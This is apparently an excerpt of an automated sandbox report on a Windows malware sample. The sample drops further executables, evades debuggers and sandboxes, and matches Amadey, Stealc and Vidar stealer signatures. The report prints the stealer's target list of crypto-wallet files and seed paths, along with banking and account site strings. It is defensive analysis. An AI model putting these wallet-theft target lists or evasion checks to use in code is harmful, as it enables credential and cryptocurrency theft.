Source: C:\Users\user\Desktop\file.exe TID: 6596	Thread sleep time: -96048s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6600	Thread sleep count: 43 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6600	Thread sleep time: -86043s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5952	Thread sleep count: 44 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5952	Thread sleep time: -88044s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4236	Thread sleep count: 46 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4236	Thread sleep time: -92046s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1672	Thread sleep count: 39 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1672	Thread sleep time: -78039s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1864	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1864	Thread sleep time: -64032s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6764	Thread sleep time: -660000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6764	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\HIDHIEGIII.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C96C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C96C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000010.00000002.2759570482.00000000009BD000.00000040.00000001.01000000.0000000D.sdmp, skotes.exe, 00000010.00000000.2707711233.00000000009BC000.00000080.00000001.01000000.0000000D.sdmp, skotes.exe, 00000011.00000000.3328581814.00000000009BC000.00000080.00000001.01000000.0000000D.sdmp, skotes.exe, 00000011.00000002.3376807474.00000000009BD000.00000040.00000001.01000000.0000000D.sdmp, skotes.exe.14.dr, HIDHIEGIII.exe.0.dr, random[1].exe.0.dr	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: JDAFBKEC.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: JDAFBKEC.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: JDAFBKEC.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: JDAFBKEC.0.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: JDAFBKEC.0.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: JDAFBKEC.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: JDAFBKEC.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2452457713.00000000015C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699197714.00000000015C4000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000011.00000002.3378393306.0000000000EF8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000011.00000002.3378393306.0000000000F2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: JDAFBKEC.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: JDAFBKEC.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: JDAFBKEC.0.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: JDAFBKEC.0.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: JDAFBKEC.0.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: JDAFBKEC.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: JDAFBKEC.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: JDAFBKEC.0.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: JDAFBKEC.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: JDAFBKEC.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: JDAFBKEC.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: JDAFBKEC.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: HIDHIEGIII.exe, 0000000E.00000003.2698351352.0000000001287000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 00000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#
Source: JDAFBKEC.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: JDAFBKEC.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: JDAFBKEC.0.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: JDAFBKEC.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2699197714.0000000001593000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2452457713.0000000001595000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW \|\
Source: file.exe, 00000000.00000002.2699197714.000000000154E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: JDAFBKEC.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: JDAFBKEC.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: JDAFBKEC.0.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: JDAFBKEC.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: JDAFBKEC.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: JDAFBKEC.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2697544329.0000000000C09000.00000040.00000001.01000000.00000003.sdmp, HIDHIEGIII.exe, 0000000E.00000000.2678895154.000000000096C000.00000080.00000001.01000000.0000000B.sdmp, HIDHIEGIII.exe, 0000000E.00000002.2729321452.000000000096D000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000F.00000000.2700408853.00000000009BC000.00000080.00000001.01000000.0000000D.sdmp, skotes.exe, 0000000F.00000002.2754275112.00000000009BD000.00000040.00000001.01000000.0000000D.sdmp, skotes.exe, 00000010.00000002.2759570482.00000000009BD000.00000040.00000001.01000000.0000000D.sdmp, skotes.exe, 00000010.00000000.2707711233.00000000009BC000.00000080.00000001.01000000.0000000D.sdmp, skotes.exe, 00000011.00000000.3328581814.00000000009BC000.00000080.00000001.01000000.0000000D.sdmp, skotes.exe, 00000011.00000002.3376807474.00000000009BD000.00000040.00000001.01000000.0000000D.sdmp, skotes.exe.14.dr, HIDHIEGIII.exe.0.dr, random[1].exe.0.dr	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: JDAFBKEC.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: JDAFBKEC.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\Documents\HIDHIEGIII.exe

Code function: 14_2_04FD0152 rdtsc

14_2_04FD0152

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9B5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C9B5FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6C953480

Source: C:\Users\user\Documents\HIDHIEGIII.exe	Code function: 14_2_007B652B mov eax, dword ptr fs:[00000030h]	14_2_007B652B
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Code function: 14_2_007BA302 mov eax, dword ptr fs:[00000030h]	14_2_007BA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_0080A302 mov eax, dword ptr fs:[00000030h]	15_2_0080A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_0080652B mov eax, dword ptr fs:[00000030h]	15_2_0080652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_0080A302 mov eax, dword ptr fs:[00000030h]	16_2_0080A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_0080652B mov eax, dword ptr fs:[00000030h]	16_2_0080652B

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6C98B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C98B1F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CB3AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 5264, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\HIDHIEGIII.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\HIDHIEGIII.exe "C:\Users\user\Documents\HIDHIEGIII.exe"	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB84760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6CB84760

Source: file.exe, file.exe, 00000000.00000002.2697544329.0000000000C09000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: FoProgram Manager
Source: skotes.exe, skotes.exe, 00000010.00000002.2759895370.0000000000A00000.00000040.00000001.01000000.0000000D.sdmp, skotes.exe, 00000011.00000002.3377209560.0000000000A00000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: UProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C98B341 cpuid

0_2_6C98B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9535A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C9535A0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 16.2.skotes.exe.7d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.skotes.exe.7d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.skotes.exe.7d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.HIDHIEGIII.exe.780000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.2728652082.0000000000781000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3376195450.00000000007D1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2753861263.00000000007D1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2759115425.00000000007D1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2699197714.000000000154E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2130684805.00000000051F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2697249380.0000000000841000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5264, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5264, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2697249380.00000000008F5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Electrum
Source: file.exe, 00000000.00000002.2705701503.000000000BC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2705701503.000000000BC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2705701503.000000000BC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2705701503.000000000BC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia 